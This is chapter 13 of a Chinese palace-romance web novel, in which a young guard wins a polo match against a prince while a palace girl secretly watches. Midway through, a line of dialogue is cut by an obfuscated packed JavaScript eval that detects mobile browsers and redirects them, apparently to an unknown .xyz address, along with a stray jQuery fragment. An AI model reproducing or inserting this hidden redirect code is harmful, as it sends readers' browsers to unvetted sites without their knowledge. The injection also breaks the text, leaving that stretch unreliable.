13. 第13章
作品:《爱上表姐的意中人》 身后传话的龙武军退下去,静静隐到队伍最末。
天子台下有风来,春打眉心过,卫勉收敛目光看向前方。
其实幽王不必遣人来传话,春日宴毕,他自会去安义殿求见。
十年,卫勉自省,他对幽王顺从有加,从无半分违逆。只是不知为何,哪怕再小的命令,幽王也不厌其烦,一遍遍遣人来传,似是怕自己遗漏,又或是某种隐晦提点。
十年顺服,换来幽王器重,仕途光明。若有一次相悖,会如何?
卫勉沉思,毬场草绿,春光暖意中,他想起第一次见到幽王袁骅,也是这样一个暖春时节,微风携春从眉心经过,骤冷还暖。
那是建元二十年的春,龙武军开春拉练,从宫城出发,一路负重行至翠华山顶。山路陡峭,窄窄的一条小道甚至算不得路,一脚踩下去碎石翻滚,淅淅沥沥滚下崖边。
卫勉记得,登上翠华山顶前,有一条小道极为狭窄陡峭,抬眼望去如山体一般耸立入云。龙武军负重拉练,走到这一段单靠双脚已不能前进,需得双手双脚着地才可勉强攀登。
就是这样的情形下,他救了一个人,也让自己的命运就此改写。
幽王袁骅时年二五,年轻气盛又尚武刻苦,自请随龙武军一同拉练。龙武军大将军谨慎,安排了一堆人在他身边护卫。但是山路高耸,护卫幽王的人自顾不暇。谁也不知是何情况,等到反应过来,就见幽王袁骅猛地跌出小道,腰腹以下悬在高崖上。
千钧一发之际,拉住他的人只有卫勉。
幽王半个身子吊在悬崖下,身下碎石哗啦坠崖,山高风冷。卫勉一手死抓山石,一手拽住幽王,用力时往前滑了半分,一块锋利碎石从他下巴割过,皮肉绽开处鲜血长流。
少年面色沉静,面上伤口恍若不觉,于惊心动魄时平稳安抚道:“殿下莫怕,卫勉在此。”
那时卫勉十五岁,入龙武军训所三年,本是数千龙武军中最最寻常的存在。
自那之后,他是幽王殿下的救命恩人。承蒙幽王器重,不及弱冠便升司戈,是龙武军创建以来最年轻的司戈。
少年卫勉意气风发,前途大好,人人都道他是幽王殿下座上宾,春风得意仕途璀璨。然而安义殿中彻夜静站之事,诸如此类,无人知晓。
幽王殿下醉心骑射刀剑,品性端正不拘小节,虽受陛下宠爱,却不以此自负跋扈。上位者的美德,他集于一身。
如此卓绝之人,难怪朝中有人拿他与储君比拟。
收拢目光,卫勉的注意力集中在天子台上。他谨记自己今日职责,日光之下,却觉有视线从天子台左侧方盯过来。
春日宴起,礼乐奏响,卫勉抬眸看过去,恰与坐在左侧长案第一列的太子殿下对视。
礼乐轰鸣,他避开眼神,专注在天子台上。
毬场另一头,黑漆漆的狗洞里,尤清音一双眼睛几乎看瞎。
狗洞昏暗,毬场又过分明亮,看上一会儿眼睛便像要失明。尤清音揉揉眼睛,本已找到卫勉的脸,还看见有人上前同他说话,可是一阵人影晃动后,她刚眨了一下眼,视线里就没了卫勉的踪迹。
近百丈远的距离,跟丢之后极为难找。尤清音有些气馁,歪着脑袋趴在手臂上,心里只觉自己来看卫勉这个念头蠢得要命,什么都看不着不说,若是被人发现了......
呸呸呸!
这念头不吉利,尤清音立刻撇开,闭了眼准备歇会儿,“蓝蕊姐姐,待会儿......”
“快瞧快瞧。”
蓝蕊胳膊肘捅过来,尤清音后半句“马球开始了叫我”还没说出来,就见蓝蕊挤眉弄眼示意自己看场内,虽然不解,还是扭头看过去。
“瞧,王昭仪抱着申王殿下去陛下那儿了。”
尤清音的心思却没在这上面,她总是跳脱,眼睛盯着天子台上那个朱红色的小人影,心里忍不住想,申王殿下能上天子台,那太子殿下呢?
蓝蕊像是能听见她心里嘀咕声,身子往里头让了让,好让尤清音脑袋移过来点,“左侧长案第一位就是太子殿下,只可惜......”
“可惜什么?”
蓝蕊噤声,没再往后说。尤清音也没真把她的话放心上,一双眼睛盯着毬场,只等着马球赛开始。
狗洞里一时静静的,半晌,忽听蓝蕊道:“其实,太子殿下是个很好的人。”
尤清音侧目,不懂她为何忽然这样说。蓝蕊皱眉瞪她一眼,“看什么,看毬场啊。”
春日宴有些烦琐,礼乐之后又是祭词,乱七八糟一堆过后,尤清音耐心都快耗尽。得亏有蓝蕊在旁边指点,说是照往年来看,是要开始马球赛了,她眨眨眼睛,继续撑下去。
不知撑了多久,等到专注的视线开始模糊时,一阵桃红身影却窜进眼里,尤清音睁眼努力去看,觉得眼熟但看不清,好在旁边有蓝蕊解释,“瞧,那便是邵美人了。”
是了,那个娇小鲜亮的身影,正是邵美人。远远看去只觉是个不知事的少女,很难想象再过几月,她竟要做母亲了。
尤清音远远看着邵美人,看着她一手撑在桌案上,另一只手蒙着绢布覆在唇上,娇小的身体抖了抖,似是害喜了。
见此情景,尤清音顿觉心里泛起一阵酸涩烦闷,激得她喉头一哽,使劲才咽了下去。
思绪出神的空挡,毬场里牵进数匹骏马,高马并立,马蹄扬灰的瞬间,邵美人的身影消失视线中。一阵草绿飞溅混着薄灰腾空,日光照下来,颗粒尘埃清晰可见。
“这天儿日头大,邵美人有孕易疲,怕是撑不了多久。”
蓝蕊在旁气声猜测着,尤清音没搭话,心里那股说不出的酸涩憋屈又隐隐涌上来。
女子孕育不易,她见过阿姐有孕时的辛苦疲惫,头几个月害喜厉害,莫说吃东西,就是喝口温水都要立时呕出来。好不容易挨过头三月,害喜将将缓解一些,腰背又整日酸痛起来,连着神思不振极易疲乏,明明是最该好好歇息的时候,阿姐反而很难睡得一个好觉。
可就是这么撑着护着,那孩子终究没能活下来。有时候,尤清音甚至有些怨恨那孩子......
若没有那孩子,阿姐不会是今日病中模样。哪怕没有圣宠,至少有个康健身子,能和自己相伴一生。
这话,她不敢跟阿姐说,只藏在心里想。
毬场上,十匹骏马立于场中,等尤清音回过神,就见场内有人上马,马蹄缓缓,往场边去。
蓝蕊贴在她耳朵边:“马上那位,是幽王殿下。”
幽王……
尤清音心里默默想着,这就是传闻中提卫勉铺平仕途的幽王殿下啊。
场内,幽王袁骅单手拽着缰绳,轻踢马腹慢行到场边,围栏一侧,便是太子殿下的桌案。
“素闻王兄每日校场钻研,骑射之术大有精益,不若今日王兄也上场一搏如何?”
谁人不知太子患有躄疾,虽能骑马,但比常人而言艰难万倍。骑射之术,说来牵强。
幽王态度兄友弟恭,太子也只笑笑,自谦道:“只是要让王弟失望了,本王不擅马背功夫,就不去献丑了。”
幽王哈哈大笑两声,又邀了一道:“王兄有百步穿杨之术,区区马球有何难。”
太子还是推辞,指了指场中骏马:“寻常马匹我尚难驯服,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740033|157331||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
更不要说飞龙厩的马。”
太子姿态低至于此,在场之人都低头不敢再看,幽王却是笑笑,并未打算就此止步:“王兄太过谦虚,你我兄弟二人多年不曾策马比试。今日好天光,王兄怎好辜负?”
天子台上,长眉带白的皇上老神在在,神色悠闲看着自己两位儿子你来我往,好似与己无关。
太子含笑沉默,片刻,在幽王灼灼目光下挥手一指:“那便请这位龙武军,代本王上场吧。”
众人随太子指端看过去,视线凝聚在卫勉身上。
幽王袁骅的脸色随之一变,带着笑意的眼神沉了分毫,要说什么,却被太子抢先:“前些日子东宫校场有朴头箭飞来,便是这位龙武军替本王拦下。本王那日见他身手了得,就让他替本王上场,与王弟比试一番吧。”
太子此话一出,四周俱静如死。幽王眼皮猛地一颤,立时抬头去看天子台上的陛下,“父皇......”
老皇上靠坐龙椅,将二人所言听得清清楚楚,摆了摆手,并未让幽王当众解释什么,慢声道:“既如此,便上场吧。”
尤清音隔得老远,场内发生何事她丝毫不知。她只知道瞧着幽王和太子说着说着话,不知怎地,卫勉就龙武军里站出来,解了身上盔甲佩剑,同天子台和太子、幽王行礼,随即走向场内,翻身上马。
明媚春光中,他一身黑衣褪去盔甲,比之平时冷傲,更多了几分柔软俊逸。高马之上他勒绳挺坐,肩背往下如斧砍般端正。因着隔得远,尤清音看不见他下巴上骇人伤疤,只觉日光晃眼,马上之人与平日所见很不一样。
期待万分的马球赛,终于正式开赛。尤清音暗暗庆幸,还好今日溜了过来,否则真是要错过卫勉这场好戏。
毬场中激战,骏马被马上之人操控,马蹄轰隆隆踏起来,薄灰朦胧间,尤清音的眼神追随卫勉。
她趴在狗洞里,黑漆漆的狗洞下面,一双眼睛亮晶晶的。她看着毬场上马蹄扬灰,鲜绿的草色被践踏,鞠杆追着球在场中狂奔。
毬场上胜负难分,碧草被马蹄踢飞,轰隆喝彩声中,卫勉已连进两球。
尤清音目瞪口呆,来时心里那点猜想,一点点被验证。她几乎不敢置信,却又莫名觉着合情合理。她看得出来,卫勉与幽王队伍交锋时,没有半点要让的意思。
这个人,竟然真的敢赢过王爷?
她趴在狗洞里,大气都不敢出,唯恐自己呼吸重了点,都会扰乱场上局势。她屏息凝神,分明对卫勉有着说不出的警惕别扭,但在此时此刻,她有些盼着他赢。
她想看看,下位者,是如何胜过上位者的。
场内比赛还在继续。马球赛共六节,此时三节比过,卫勉胜二。下半场,他优势极大。
尤清音目光锁定卫勉,随着他策马的身影在毬场奔跑。她看的太过专注,以至于当那球朝着她藏身的狗洞飞来时都毫无察觉。
等到蓝蕊捂嘴疯狂捅她胳膊,白晃晃的球快要冲到面门时,她才惊觉回神,瞪大了眼睛没来得及躲,一双马蹄停在眼前,鞠杆垂下来,轻巧地将飞来之球打出去。
只是......
与鞠杆一同垂下来的,还有卫勉一身黑衣。卸去铁甲后,黑衣柔软地贴在他身上,将他本就健硕的身躯勾勒出来。
春衣稍薄,在他身上更是如水墨泼洒,有种说不出的好看。
只是再好看,尤清音此刻也无暇欣赏。因为在卫勉俯身马侧击球时,他的肩颈低于马腹,一双深邃黝黑的眼睛看下来,恰与尤清音惊恐的眼睛对视。
万物一瞬凝滞,尤清音只能听见自己心音如鼓。
“完蛋!”